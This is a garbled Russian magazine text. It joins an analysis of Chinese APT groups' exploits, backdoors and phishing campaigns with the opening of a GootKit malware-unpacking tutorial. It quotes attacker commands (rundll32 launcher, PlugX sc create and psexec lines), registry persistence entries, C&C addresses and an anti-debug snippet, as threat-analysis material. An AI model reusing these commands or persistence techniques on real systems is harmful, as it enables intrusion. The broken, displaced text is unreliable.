не толь ко содер жимое, но и сами име на фай лов).

‐hp

Пос ле  сбо ра  отче тов  о  сис теме  начинал ся  сле дующий  этап  ата ки
для  получе ния  поль зователь ских  паролей.  В  основном  на  этом  шаге  так же
исполь зовались обще дос тупные ути литы, которые бэк дор запус кал по коман‐ 
де C&C‐сер вера:

прог рамма сбо ра NTLM‐хешей паролей в Windows  ;• fgdump
дам пер пароль ных хешей  ;• pwdump7

;• mimikatz
gsecdump и дру гие ути литы от  ;• TrueSec
pass‐the‐hash toolkit и дру гие инс тру мен ты от  .• Core Security

Все  они  рас позна ются  как    или    и  не  вызыва ют  сра‐ 
баты вания анти виру сов при соот ветс тву ющих нас трой ках (игно риро вать ути‐ 
литы для ауди та паролей).

not‐a‐virus hacktool

По доб рав  пару  хеш  —  пароль  (чаще  все го  —  прос тей шими  ата ками
по сло варю), в APT1 получа ли воз можность уда лен но выпол нять любые дей‐ 
ствия от име ни реаль ного сот рудни ка ком пании. В том чис ле отправ лять с его
адре са и  через его акка унт  в  кор поратив ной сети  (а  так же  через его  учет ку
VPN) новые фишин говые пись ма для ата ки на компь юте ры руководс тва и пар‐ 
тнерских орга низа ций. Имен но они и хра нящи еся на них дан ные ста нови лись
конеч ной  целью.  В  общей  слож ности  APT1  ответс твен на  за  похище ние
информа ции о высоко тех нологи чес ких раз работ ках более чем у ста круп ных
меж дународ ных  ком паний  и  свя зан ных  с  ними  уни вер ситетов. Мно гие  цели
были успешно ата кова ны нес коль ко раз.

APT3 (UPS TEAM)
Пред положи тель но  свя зана  с    —  Минис терс твом  государс твен ной
безопас ности  КНР.  Дей ству ет  через  Центр  оцен ки  информа цион ных  тех‐ 
нологий Китая (CNITSEC) и Центр безопас ности ITSEC в Гуан дуне.

MSS

Имен но в деловой центр Гуан дуна — Huapu Square West Tower ведут сле ды
сра зу нес коль ких круп ных тар гетиро ван ных атак. В нем находит ся штаб‐квар‐ 
тира  ком пании  Boyusec,  которая  наряду  с  Huawei  и  ZTE  сот рудни чает
с Shanghai Adups Technology — клю чевым пар тне ром CNITSEC.

Huapu Square West Tower — пред положи тель но одна из баз APT3, фото:
DigitalGlobe

Так  или  ина че,  APT3  —  самая  тех ничес ки  прод винутая  груп па.  Исполь зует
в  ата ках  0day‐уяз вимос ти,  кас томные  бэк доры,  пос тоян но  меня ет  набор
исполь зуемых C&C‐сер веров,  инс тру мен тов и методов. Ее под ходы  хорошо
иллюс три руют  три  круп ные  тар гетиро ван ные  ата ки,  под робнее  о  которых
будет рас ска зано ниже.

Опе рация «Под поль ная лиса»
APT под наз вани ем Operation Clandestine Fox началась вес ной 2014 года. Она
зат ронула IE с шес той по один надца тую вер сии, что сог ласно 
сум марно сос тавля ло око ло тре ти всех бра узе ров на тот момент.

NetMarketShare

В Clandestine Fox исполь зовалась уяз вимость  , при водя щая
к ата ке   с исполь зовани ем кучи.

CVE‐2014‐1776
Use‐after‐free

Ди нами чес кая  память,  или  куча  (heap),  устро ена  так,  что  пос тоян но
переза писы вает ся  круп ными  бло ками.  Обыч но  на  зап рос  сле дующе го  сво‐ 
бод ного  бло ка  менед жер  кучи  выда ет  адрес  того,  который  толь ко  что  был
осво бож ден каким‐либо объ ектом (осо бен но если он такого же раз мера).

Суть ата ки Use‐after‐free сос тоит в том, что пос ле осво бож дения объ ектом
памяти  на  адрес  его  бло ка  еще  какое‐то  вре мя  ссы лает ся  ука затель  ptr
при  вызове  методов  дан ного  объ екта.  Если  спер ва  зап росить  выделе ние
динами чес кой  памяти,  а  затем  попытать ся  выз вать  метод  толь ко  что  осво‐ 
бодив шегося объ екта, то менед жер кучи с боль шой веро ятностью вер нет нам
ста рый адрес. Если в таб лицу вир туаль ных методов (VMT, Virtual Method Table)
помес тить  ука затель  на  вре донос ный  код,  а  саму  VMT  записать  в  начало
нового  бло ка  памяти,  то  злов ред  запус тится  при  вызове  метода  хра нив‐ 
шегося там ранее объ екта.

Пре дот вра тить такой сце нарий ата ки приз ван механизм ран домизи рован‐ 
ного  выделе ния  памяти  —  ASLR.  Одна ко  при  опе рации  Clandestine  Fox
исполь зовались прос тые методы его обхо да.

Са мый  прос той  из  них  —  задей ство вать  модули,  не  под держи вающие
ASLR.  Нап ример,  ста рые  биб лиоте ки    и  ,  которые
ском пилиро ваны без новой опции  . Они заг ружа ются по одним
и тем же адре сам в памяти и на момент ата ки при сутс тво вали на боль шинс‐ 
тве  компь юте ров.    заг ружа ется  IE  в  Windows  7  (в  час тнос ти,
при  попыт ке  открыть  стра ницу  помощи,  начина ющуюся  с  ),
а   — при запус ке при ложе ний MS Office 2007 и 2010.

MSVCR71.DLL HXDS.DLL
/DYNAMICBASE

MSVCR71.DLL
ms‐help://

HXDS.DLL
До пол нитель но  в  Clandestine  Fox  исполь зовалась  тех ника,  поз воля ющая

обой ти  сис тему  пре дот вра щения  выпол нения  дан ных  (DEP),  под робнос ти
о ней ста ли извес тны толь ко при ана лизе сле дующей ата ки груп пы APT3.

Опе рация «Под поль ный волк»
Фи шин говая  кам пания  Clandestine  Wolf  ста ла  про дол жени ем  «под поль ной
лисы» и про води лась APT3 в 2015 году. Она ста ла одной из самых эффектив‐ 
ных, пос коль ку в ней исполь зовалась ошиб ка перепол нения буфера в Adobe
Flash Player, для которой тог да не было пат ча. Уяз вимость   зат‐ 
рагива ла  все  акту аль ные  на  тот  момент  вер сии  пле ера  для  Windows,  OS  X
и  Linux. Она  поз воляла  выпол нить  про изволь ный  код  поч ти  без  вза имо дей‐ 
ствия с поль зовате лем и в обход защит ных сис тем.

CVE‐2015‐3113

В поч товой рас сылке APT3 замани вала пред ложени ем купить вос ста нов‐ 
ленные  iMac  по  льгот ной  цене.  Ссыл ка  в  пись ме  вела  на  веб‐стра ницу,
содер жащую  flv‐файл  и  запус кающую  экс пло ит.  Инте рес но,  что  экс пло ит
обхо дил  встро енную  защиту  DEP  (Data  Execution  Prevention),  перех ватывая
управле ние сте ком (call stack) и выпол няя ата ку методом воз врат но ори енти‐ 
рован ного  прог рамми рова ния —  .  При  этой  ата ке  вызыва лась фун кция
VirtualAlloc из Kernel32.dll и соз давались ука зате ли на внед ренный шелл‐код,
а сам он помечал ся как исполня емый.

ROP

Так же  экс пло ит  пре одо левал  вто рой  слой  защиты,  экс плу ати руя  извес‐ 
тные  недос татки  ран домиза ции  адресно го  прос транс тва  (ASLR)  и  внед ряя
исполня емый код в дру гие про цес сы (в основном в поток бра узе ра).

Что бы  скрыть  ROP‐ата ку,  экс пло ит  на  веб‐стра нице  был  зашиф рован
(RC4),  а  ключ  для  его  дешиф ровки  извле кал ся  скрип том  из  сосед ней  кар‐ 
тинки.  Поэто му  анти вирус ная  про вер ка  заражен ной  веб‐стра ницы  тоже
не обна ружи вала ничего подоз ритель ного.

В  резуль тате  поль зовате лю  дос таточ но  было  клик нуть  по  ссыл ке,  что бы
на его компь ютер уста новил ся бэк дор. Ни встро енные методы защиты в ОС
и бра узе ре, ни отдель ные анти виру сы не мог ли защитить от 0day‐экс пло ита.

Опе рация «Двой ное нажатие»
Фи шин говая кам пания Double Tap про води лась осенью 2014 года с исполь‐ 
зовани ем двух све жих уяз вимос тей:

;• CVE‐2014‐6332
.• CVE‐2014‐4113

Пер вая уяз вимость поз воля ет изме нять раз меры мас сива, задава емые движ‐ 
ком  VBScript,  из‐за  ошиб ки  в  работе  фун кции    биб лиоте ки

. Вто рая  свя зана  с  сис темным драй вером    и  при‐ 
водит к  .

SafeArrayRedim
OleAut32.dll win32k.sys

по выше нию при виле гий на уров не ядра Windows
Экс пло иты  запус кались  при  помощи  эле мен та  iframe,  внед ряемо го

на стра ницы взло ман ных сай тов и HTML‐писем. В  качес тве нажив ки на этот
раз  было  выб рано  пред ложение  о  бес плат ной  под писке  на  месяц  в  клу бе
Playboy,  дающей  неог раничен ный  дос туп  к  фотог рафи ям  в  высоком  раз‐ 
решении и Full HD кли пам. Ссыл ка вела на фей ковый домен playboysplus.com.

Пос ле  кли ка  по  ней  на  компь ютер  заг ружал ся  файл    раз‐ 
мером 46 Кбайт. Это тро ян‐дроп пер, который не содер жит вре донос ных фун‐ 
кций и на момент начала ата ки не детек тировал ся анти виру сами ни по сиг‐ 
натур ному, ни по эвристи чес кому ана лизу. Он соз давал два фай ла: 
и    в  общем  поль зователь ском  катало ге  .  Этот
жес тко задан ный путь отсутс тво вал на некото рых компь юте рах, что убе рег ло
их  от  зараже ния.  Дос таточ но  было  исполь зовать  вмес то  него  перемен ную
(нап ример,    или  ),  что бы  столь  слож ная  ата ка  не  заг‐ 
лохла в самом начале из‐за недора зуме ния с абсо лют ными путями.

install.exe

doc.exe
test.exe C:\Users\Public\

%USERPROFILE% %TEMP%

Файл  doc.exe  под держи вал  64‐бит ную  архи тек туру  и  содер жал  экс пло ит
уяз вимос ти CVE‐2014‐4113. Он был нужен для  того,  что бы попытать ся запус‐ 
тить бэк дор test.exe с пра вами сис темы. Про вер ка успешно го запус ка выпол‐ 
нялась кон соль ной коман дой  .whoami

В свою оче редь, test.exe содер жал код для экс плу ата ции уяз вимос ти CVE‐
2014‐6332, который был модифи каци ей дру гого  , вхо‐ 
дяще го в сос тав Metasploit.

по пуляр ного экс пло ита

В слу чае успе ха бэк дор уста нав ливал SOCKS5‐прок си и отправ лял корот‐ 
кий  зап рос  (05  01  00)  на  коман дный  сер вер  пер вого  уров ня  по  адре‐ 
су 192.157.198.103, TCP‐порт 1913. Если он отве чал  , бэк дор соеди нял‐ 
ся  с  коман дным  сер вером  вто рого  уров ня  по  адре су  192.184.60.229,  TCP‐
порт 81. Затем он слу шал его трех бай товые коман ды и выпол нял их.

05 00

В ходе раз вития ата ки бэк дор получил апгрейд, а поз же анти виру сы ста ли
детек тировать его как  , aka  .Backdoor.APT.CookieCutter Pirpi

Что бы сни зить веро ятность обна руже ния, он заг ружал ся по адре су 
 в виде фай ла   (час то *.dat исклю чают‐ 

ся  из  анти вирус ной  про вер ки  ради  ее  уско рения)  и  запус кался  отдель ным
коман дным фай лом:

%USER‐
PROFILE%/Application Data/ mt.dat

@echo off
cmd.exe /C start rundll32.exe "%USERPROFILE%\Application Data\mt.dat"
UpdvaMt

Rundll32 —  слу жеб ная  кон соль ная  прог рамма,  поз воля ющая  вызывать  явно
задан ные фун кции, экспор тиру емые из динами чес ких биб лиотек (DLL). Изна‐ 
чаль но она соз давалась для внут ренне го исполь зования в Microsoft, но затем
вош ла  в  сос тав  Windows  (начиная  с  95).  Если  дру гими  средс тва ми  мож но
обра тить ся  к  биб лиоте ке  толь ко  с  кор рек тным  рас ширени ем,  то
Rundll32 игно риру ет рас ширения фай лов.

ВЫВОДЫ
Су дя по всплы вающим фак там, в области кибер безопас ности на пра витель‐ 
ство  Китая  работа ют  круп ные  коман ды  про фес сиональ ных  хакеров.  Часть
из них офи циаль но счи тают ся армей ски ми под разде лени ями — им офор мля‐ 
ют допуск к государс твен ной тай не и охра няют нарав не со штаб ными свя зис‐ 
тами. Дру гие дей ству ют через ком мерчес кие фир мы и выпол няют ата ки пря‐ 
мо из делово го цен тра. Третьи — воль нона емные груп пы, которые час то сме‐ 
няют ся.  Похоже,  что  пос ледним  поруча ют  самые  гряз ные  дела,  пос ле  чего
некото рых  сда ют  пра воох ранитель ным  орга нам,  что бы  обе лить  репута цию
пра вящей  пар тии.  В  слу чае  про кола  их  прос то  наз нача ют  винова тыми
и нанима ют сле дующих. 
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В  Китае  для  кибер шпи она жа,  помимо  регуляр ных  струк тур
на базе под разде лений НОАК и Минис терс тва  гос безопас‐ 
ности, исполь зуют ся и воль нона емные коман ды хакеров. Им
поруча ют  самую  гряз ную  работу,  что бы  в  слу чае  разоб‐ 
лачения  репута цион ный  ущерб  пра витель ству  был  минима‐ 
лен. В этой статье мы раз берем их инс тру мен ты и методы.

WARNING

Вся  информа ция  в  этой  статье  пре дос тавле на
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный дан ными матери ала ми.

APT10
Ха кер ская груп па APT10 (aka Menupass, aka Red Apollo, aka Stone Panda, aka
CVNX) регуляр но попада ет на радары ана лити ков с 2009 года. Она ори енти‐ 
рова на  в  пер вую  оче редь  на  стро итель ные,  инже нер ные,  аэро кос мичес кие
и телеком муника цион ные ком пании, а так же пра витель ствен ные орга низа ции
в США,  Евро пе  и  Япо нии.  Выбор  этих  отраслей  соот ветс тву ет  целям  наци‐ 
ональ ной  безопас ности  Китая.  По  дан ным  FireEye,  за  счет  кибер шпи она жа
APT10  китай ское  пра витель ство  получи ло  дос туп  к  воен ным  раз работ кам,
аген турным дан ным и дру гой цен ной информа ции. Эта же груп па ответс твен‐ 
на за кра жу све дений, сос тавля ющих ком мерчес кую тай ну и обес печива ющих
кон курен тное  пре иму щес тво  китай ских  кор пораций  (осо бен но  в  сфе ре
телеко ма) на меж дународ ном рын ке.

Дол гое вре мя счи талось, что пос ле серии атак груп па APT10 ушла со сце‐ 
ны,  одна ко  в  2016  году  она  сно ва  прив лекла  вни мание  спе циалис тов
по информа цион ной безопас ности. В 2016–2017 годах APT10 про вела мас‐ 
сирован ные фишин говые кам пании, зат ронув шие все шесть кон тинен тов (да,
она задела даже поляр ные стан ции Антар кти ды).

ОПЕРАЦИЯ «ОБЛАЧНЫЙ БУНКЕР»
Сов ремен ные тен денции опти миза ции биз неса соз дают новые век торы атак.
К  при меру,  сей час  край не  популяр ны ИТ‐услу ги  на  аут сорсин ге  и  облачные
сер висы.  APT10  и  дру гие  хакер ские  груп пы  начина ют  исполь зовать  их
в качес тве отправ ной точ ки для про ник новения на компь юте ры жертв.

Стра тегия APT10 вклю чает в себя не  толь ко  клас сичес кий spear phishing,
но  и  про веде ние  атак  через  пос тавщи ков  услуг. В  основном APT10 исполь‐ 
зует для это го ути литу уда лен ного адми нис три рова ния  . Она инте рес на
тем, что уста нав лива ет связь со сво им C&C, исполь зуя заражен ные сер веры
про вай деров ИТ‐сер висов. PlugX зак репля ется в сис теме, тес тиру ет под клю‐ 
чение и в слу чае успе ха нас тра ивает прок си через сер веры доверен ных пос‐ 
тавщи ков услуг, мас киру ясь под Corel Tools и дру гие популяр ные ути литы.

PlugX

sc create CorWrTool binPath="\"C:\Windows\vss\vixDiskMountServer.exe\
"" start=auto displayname="Corel Writing Tools Utility" type=own
sc description CorWrTool "Corel Graphics Corporation Applications."
ping ‐a [target]
psexec.exe <orghost> d.exe
net view /domain:[domain]
proxyconnect ‐ "port": 3389, "server": "[IP]"

Та ким спо собом уда ется избе жать сра баты вания  IDS и бло киров ки фай рво‐ 
лом,  пос коль ку  тра фик  к  облачно му  сер веру  про вай дера  выг лядит  для  них
безобид но.

Ис поль зование ИТ‐инфраструк туры управля емых услуг  (Managed services
providers, MSP)  в  качес тве  плац дарма  для  про веде ния  APT  ста ло  осо бен но
популяр ной схе мой за пос ледние два года. Спе циалис ты под разде ления Ap‐
plied Intelligence ком пании BAE Systems рас сле дуют их сов мес тно с ауди тора‐ 
ми PricewaterhouseCoopers. Упро щен ная схе ма выг лядит так.

APT10 и ата ка через MSP. Изоб ражение: BAE/PwC

По дан ным BAE, за 2016–2017 годы арсе нал APT10 сущес твен но рас ширил‐ 
ся. В нем появи лись тро ян   и бэк дор   — два ком понен та,
необ ходимые  для  уско рения  пер вого  эта па  ата ки  и  прев ращения  ее  в  тар‐ 
гетиро ван ную.

Scorpion SNUGRIDE

Тро ян  «Скор пион»  впер вые  был  замечен  в  2016  году  во  вре мя  мас‐ 
сирован ной  ата ки  на  япон ские  орга низа ции. Он  про водит  про фили рова ние
жер твы,  собирая  имя  компь юте ра,  иден тифика торы  запущен ных  про цес сов,
путь к перемен ной   и вер сию Internet Explorer. Затем переда ет закоди‐ 
рован ную сис темную информа цию на один из жес тко про писан ных адре сов
сер вера управле ния (C&C), исполь зуя стро ку User‐Agent. Так же он может заг‐ 
ружать  и  запус кать  на  исполне ние  допол нитель ные  вре донос ные  модули,
под готав ливая сле дующий шаг ата ки.

%TEMP%

Ос новная  задача  бэк дора  SNUGRIDE  —  дроп нуть  обратный  шелл
для обхо да NAT и фай рво лов. В слу чае успе ха он свя зыва ется с коман дным
сер вером  по  HTTP,  но  все  зап росы  отсы лает  зашиф рован ными  AES.  Ключ
ста тичес кий и хра нит ся локаль но, поэто му единс твен ная цель шиф рования —
сбить с тол ку IDS и про чие сис темы ана лиза тра фика.

Пос ле выбора целей хакеры управля ли заражен ными компь юте рами через
дру гие  бэк доры —    и  .  Оба  ком понен та  были  соз даны
APT10 на осно ве откры тых  про ектов. Пер вый — дорабо тан ная  напиль ником
вер сия  , а пос ледний — так же модифи циро ван ная в APT10 «кры са»,
дос тупная  с  откры тым  исходным  кодом  на GitHub.  Кон фигура цион ный файл
RedLeaves  «зашиф рован» —  XOR  с  клю чом  0x53. Обмен  с  коман дным  сер‐ 
вером  у  него  тоже  «шиф рует ся»  —  по  RC4  с  клю чом  88888888.  Обыч но
RedLeaves заг ружа ется через заражен ную .DLL, поль зуясь тем, что при запус‐ 
ке  любой  прог раммы  поиск  нуж ных  ей  динами чес ких  биб лиотек  начина ется
в  том  же  катало ге.  Он  прос то  под меня ет  собой    в  катало ге  IE
или какую‐то дру гую DLL’ку из набора стан дар тных.

RedLeaves QuasarRAT

Trochilus

ieproxy.dll

В зависи мос ти от наличия на  заражен ном  компь юте ре дру гих  ком понен‐ 
тов APT10 RedLeaves допол няет или заменя ет их фун кци ональ ность. Он так же
может соб рать пер вичную информа цию о жер тве, уста новить обратный шелл,
най ти,  перес лать  или  уда лить  опре делен ные  фай лы,  сде лать  и  отпра вить
скрин шоты, ска чать и запус тить дру гие злов реды по коман де C&C.

Ин терес но, что для выпол нения ата ки через пос тавщи ков услуг не исполь‐ 
зовались какие‐то прод винутые методи ки. Все огра ничи валось при митив ным,
но дей ствен ным набором ста рых трю ков — под сунуть сот рудни кам облачно го
про вай дера фай лы с двой ным рас ширени ем (.doc.exe) или прис лать ярлы ки
на заражен ные фай лы под видом докумен тов в архи ве.

Здесь  наб люда ется  парадок саль ная  ситу ация:  чем  боль ше  ком пании
инвести руют  в ИБ,  тем  халат нее  ста новят ся  их  сот рудни ки. Они полага ются
на дорогие средс тва защиты, счи тая, что прод винутые прог рам мно‐аппа рат‐ 
ные ком плек сы как‐то сами собой, пол ностью авто мати чес ки отра зят все ата‐ 
ки.  Одна ко,  как  говорил  Марк  Раш  из  Computer  Sciences:  «Не  сущес тву ет
устрой ства, которое зап ретит людям вес ти себя по‐иди отски».

Пос ле сов мес тных дей ствий BAE, PwC и FireEye активность APT10 сущес‐ 
твен но сни зилась. Одна ко ана лити ки схо дят ся во мне нии, что это лишь оче‐ 
ред ное затишье перед бурей.

APT12
Пред положи тель но  APT12  (aka  IXESHE,  aka  DynCalc,  aka  Calc  Team,  aka
DNSCALC,  aka Numbered  Panda) —  это  груп па фри лан серов,  нанятая НОАК
для про веде ния отдель ных опе раций. Так же дей ству ет с 2009 года и обыч но
рас сыла ет  фишин говые  пись ма  с  нас тоящих  поч товых  акка унтов  пос ле  их
взло ма. Пре иму щес твен но ата кует СМИ и тех нологи чес кие ком пании в Япо‐ 
нии и на Тай ване.

Ос новной инс тру мент APT12 — бэк дор  . Он сос тоит из двух ком‐ 
понен тов:  дроп пера  и  пей лоада  в  фор мате  7z‐SFX  с  пароль ной  защитой
для пре одо ления анти виру сов. Чаще все го жер твы заг ружали его по ссыл ке
в PDF из фишин гового пись ма, где содер жались даль нейшие инс трук ции.

Etumbot

Сна чала  поль зователь  попадал  на  ском про мети рован ный  веб‐сайт,
в  HTML‐код  которо го  хакеры  из  APT12  внед рили  эле мен ты  ,
перенап равля ющие бра узер на  заражен ную стра ницу. Скрипт  на  этой стра‐ 
нице  ана лизи ровал  компь ютер жер твы  на  при год ность  к  даль нейшей  ата ке.
В  час тнос ти,  он  про верял  вер сию  MS  Office.  Если  она  была  в  спис ке  уяз‐ 
вимых, то генери рова лась ссыл ка на тро ян‐дроп пер.

<iframe>

Оп ределе ние вер сии MS Office для выбора даль нейших целей

Что бы  сбить  с  тол ку  поль зовате ля,  он  ска чивал ся  под  видом  докумен та
или  скрин сей вера,  имя  которо го  отоб ражалось  задом  наперед.  Этот  трюк
известен  как  Unicode  Right  to  Left  Override  (RTLO)  и  зак люча ется  в  том,  что
пос ле управля юще го сим вола   все пос леду ющие отоб ража ются спра‐ 
ва налево.

U+202E

Пос ле запус ка он соз давал сле дующие фай лы:

%Application Data%\Locations\conime.exe
%User Temp%\~DS5D64.doc

и помещал свои копии во вре мен ный каталог текуще го поль зовате ля:

%User Temp%\wmspd.dll
%User Temp%\wuauclt.exe

За тем он про писы вал себя на авто запуск, мас кируя свой вызов под заг рузку
conime.exe (штат ной ути литы управле ния вво дом с кла виату ры в кон соли)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer\Run
conime="%User Temp%\wuauclt.exe"

и  соз давал  каталог  ,  куда  копиро вал
основные фай лы бэк дора.

%Application  Data%\Locations

Собс твен но  бэк дор  про писы вает  себя  на  авто запуск  под  видом  ком‐ 
понен та Java.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 
"JavaSvc"="C:\\Documents and Settings\\User\\Application Data\\JAVA\\
JavaSvc.exe"

При  пер вом  запус ке  он  отсы лает  коман дно му  сер веру  зап рос  GET  вида 
,  где  N  —  слу чай ное  нечет ное  чис ло

в диапа зоне от 1 до 13. В ответ C&C при сыла ет ключ (RC4) для шиф рования
даль нейше го тра фика в виде стро ки Base64, в которой все URL‐encoded сим‐ 
волы  замене ны дру гими  (нап ример,  сим вол под черки вания  вмес то  пря мого
сле ша).

[
URL]/home/index.asp?typeid=N

Etumbot ска ниру ет заражен ный компь ютер в поис ках кон фигура ции прок‐ 
си. Если прок си‐сер вер обна ружен, то бэк дор нас тра ивает собс твен ное под‐ 
клю чение в обход его, что бы мень ше све тить ся в логах.

Все го у бэк дора шесть основных команд.
1.   — про верить под клю чение к C&C.ETUM_CMD_PING

2.   — ска чать ука зан ный файл с коман дно го сер вера.ETUM_CMD_PUTFILE

3.   — заг рузить файл на C&C.ETUM_CMD_READFILE

4.   — выпол нить коман ду из сле дующе го пакета.ETUM_CMD_EXEC

5.   — при оста новить активность.ETUM_CMD_SLEEP

6.   — пол ностью уда лить себя из сис темы.ETUM_CMD_UNINSTALL

На личие  такого «ава рий ного  тор моза» помог ло спе циалис там Arbor Security
оста новить эпи демию, перех ватив управле ние коман дным сер вером и отпра‐ 
вив коман ды 5, 6 от его име ни.

APT12  ста ла  пер вой  китай ской  груп пой  кибер шпи она жа,  активность
которой помог сни зить пуб личный отчет о ее деятель нос ти. Как  толь ко спе‐ 
циалис ты  Arbor  Security    его,  опи сали  методи ки  и  ука зали
на связь с китай ским пра витель ством, чле ны APT12 залег ли на дно.

опуб ликова ли

APT16
Ма лоиз вес тная  китай ская  груп па  APT16  пре иму щес твен но  ата кует  акка унты
тай вань ских  полити чес ких  акти вис тов,  жур налис тов  и  япон ские  пра витель‐ 
ствен ные орга низа ции. Воз можно, она же фигури рует под наз вани ями OpTai‐
wan, SVCMONDR и Danti group или же прос то сот рудни чает с ними. В сво их
ата ках  APT16  исполь зовала   — бес телес ный HTTP‐бэк дор  с  под дер‐ 
жкой обна руже ния и обхо да прок си, написан ный на Delphi.

ELMER

В 2015 году APT16 успешно вос поль зовалась экс пло итом для уда лен ного
запус ка  про изволь ного  кода  в  MS  Office  при  том,  что  на  момент  начала
фишин говой  кам пании  патч  для  этой    был  уже  пол года
как написан. Жер твам прос то рас сылались пись ма с фай лом  .docx, который
из‐за ошиб ки  в  обра бот ке  внед ренно го  век торно го  рисун ка  (EPS)  поз волял
выпол нить  про изволь ный  код  (в  дан ном  слу чае  —  уста новить  в  сис теме
обратный шелл) при попыт ке его открыть.

уяз вимос ти

До пол нитель но  APT16  исполь зовала  тро ян‐даун лоадер  .  Он
мас кировал ся в авто запус ке под видом Acrobat Reader по адре су 

  и  при  каж дом  запус ке  спра шивал
коман дный  сер вер,  нуж но  ли  заг рузить  на  компь ютер  жер твы  дру гие  злов‐ 
реды.  Инте рес но,  что  в  качес тве  жес тко  про писан ного  C&C  был  ука зан
легитим ный  веб‐сайт  одной  япон ской  орга низа ции,  который,  по  всей  веро‐ 
ятности, взло мали накану не фишин говой кам пании.

IRONHALO
%Program‐

Files%\Startup\AcroRd32Info.exe

Зап рос GET тро яна IronHalo

При  положи тель ном отве те  сле дующий  вре донос ный  ком понент  заг ружал ся
как  пос ледова тель ность  строк  Base64.  Он  сох ранял ся  во  вре мен ный  файл
со слу чай ным име нем и рас ширени ем .dat, пос ле чего декоди ровал ся, пере‐ 
име новы вал ся  и  запус кался  в  скры том  окне.  При виле гии  повыша ли
при помощи дру гого экс пло ита, свя зан ного с еще одной дав но про пат ченной
уяз вимостью —  .CVE‐2015‐1701

С осе ни 2015 по лето 2016 года APT16 про вела три круп ных фишин говых
кам пании, пос ле чего вре мен но исчезла с радаров либо объ еди нилась с дру‐ 
гой хакер ской груп пой.

ЗАКЛЮЧЕНИЕ
Тех ники  APT‐групп  очень  наг лядно  выяв ляют  реаль ные  проб лемы  безопас‐ 
ности. В  узком кру гу спе циалис ты могут дис кутиро вать о  тон костях алго рит‐ 
мов  детек тирова ния  угроз  раз ными  анти виру сами,  обсуждать  прод винутые
методы ана лиза  тра фика и осо бен ности SIEM, но реаль ность  куда про заич‐ 
нее.  Самые  мас совые  ата ки  выпол няют ся  с  исполь зовани ем  самых  при‐ 
митив ных средств.

Поль зовате ли упор но кли кают на все под ряд и сами отклю чают защит ные
средс тва  по  инс трук ции  из  фишин говых  писем.  Доверие  к  пос тавщи кам
облачных услуг час то ока зыва ется необос нован ным, а инер тность собс твен‐ 
ных  сис темных  адми нис тра торов  при водит  к  тому,  что  тысячи  орга низа ций
стра дают из‐за двух ста рых уяз вимос тей.

По доб ное  про исхо дит  регуляр но,  и  имен но  это  в  ито ге  зас тавля ет  раз‐ 
работ чиков при нимать непопу ляр ные решения. В час тнос ти, отче ты ана лити‐ 
ков  под вигли Microsoft  сде лать  в Windows 10  сис тему  при нуди тель ной  уста‐ 
нов ки обновле ний, которая вызыва ет сей час столь ко недоволь ства.

WWW

•Об новля емый спи сок извес тных APT‐групп
•Пе речень инс тру мен тов APT‐групп
•Внед рение  злов редов  тех никой  DLL  Side‐
loading
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ВЗЛОМ

Рас паков ка исполня емых фай лов — одна из задач, воз ника ющих при ревер‐ 
се. И если наш объ ект — это мал варь, то зачас тую при ходит ся стал кивать ся
с кас томны ми упа ков щиками. В этой статье я покажу, как спра вить ся с защит‐ 
ными  механиз мами  бан кера  GootKit,  который  пос тоян но  раз вива ется
и апгрей дит ся, к тому же исполь зует раз ные методы соп ротив ления отладке.

INFO

В    мы  про бежа лись  по  азам
вскры тия  кас томных  пакеров,  взяв  для  при мера
вымога тель  GlobeImposter  2.0.  Он  прак тичес ки
не  соп ротив лялся  рас паков ке  и  кое‐чем  даже
помогал в этом деле.

прош лой  статье

Из инс тру мен тария мы будем исполь зовать отладчик x64dbg (его 32‐бит ную
вер сию  x32dbg),  инте рак тивный  дизас сем блер  IDA,  шес тнад цатерич ный
редак тор  HxD  и  детек тор  пакеров  и  про тек торов  DiE.  Мы  будем  про тивос‐ 
тоять  анти отладке  при  помощи мьютек сов  и  раз берем ся  с  нес тандар тны ми
парамет рами фун кции  .CreateFileA

WARNING

Все  опи сан ные  в  статье  дей ствия  выпол нялись
внут ри  вир туаль ной  машины,  которая  была  изо‐ 
лиро вана  от  сети.  Пов торение  дей ствий
на  основном  компь юте ре  может  при вес ти
к  зараже нию  бан кером  GootKit,  спо соб ным
похитить твои дан ные.

Для начала давай пос мотрим на GootKit через прог рамму Detect it Easy.

Не рас пакован ный обра зец GootKit

Де тек тор  не  опре деля ет  никакой  навес ной  защиты,  зато  энтро пия  фай ла
заш калива ет.

Эн тро пия GootKit

Заг ружа ем файл  в  дизас сем блер  для  более  интимно го  зна комс тва.  Видим,
что при вхо де у нас сра зу идет вызов под прог раммы. Пры гаем в него и наб‐ 
люда ем дос таточ но инте рес ный код.

На  стек  помеща ются  зна чения,  ини циали зиру ются  перемен ные,  далее  идут
вызовы. Разуме ется, это похоже на динами чес кий вызов фун кций.

Что бы самос тоятель но убе дить ся в этом, можешь ском пилиро вать и пос‐ 
мотреть  в  IDA прос тую прог рамму,  которая исполь зует  эту  тех нику  вызовов.
Конеч но, код будет более «чис тый» и понят ный, но общая суть оче вид на.

int main()
{
 typedef NTSTATUS(WINAPI *pNtQueryInformationProcess)(HANDLE, UINT, 

PVOID, ULONG, PULONG);
 ULONG dProcessInformationLength = 0;
 PVOID DbgPort;
 pNtQueryInformationProcess pNtQueryInfoProcess = (pNtQueryInforma

tionProcess)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuer
yInformationProcess");
 NTSTATUS Status = pNtQueryInfoProcess(GetCurrentProcess(),7,&

DbgPort,dProcessInformationLength,NULL);
 if (Status == 0x00000000) return 0;
   return 0;
}

Да вай перек лючим ся в псев докод, нажав кноп ку F5, так будет еще оче вид нее.

Псев докод

Ини циали зация и вызов фун кций выг лядит таким обра зом:

v3 = v1(byte_41F00C, byte_41F0F8);
v33 = (void (__stdcall *)(char *, char *))v2(v3);
v4 = v1(byte_41F00C, byte_41F0EC);
v32 = (int (__stdcall *)(char *))v2(v4);
v5 = v1(byte_41F0A4, byte_41F0B0);

И тем не менее код кажет ся стран ным, хоть и оче вид но, как он работа ет и что
дела ет.  Пос мотрим  перек рес тные  ссыл ки  на  буфера,  которые  переда ются
в фун кции. Вот один из буферов.

Оче вид но,  при меня ется  шиф рование  строк  при  помощи  XOR  по  клю чу
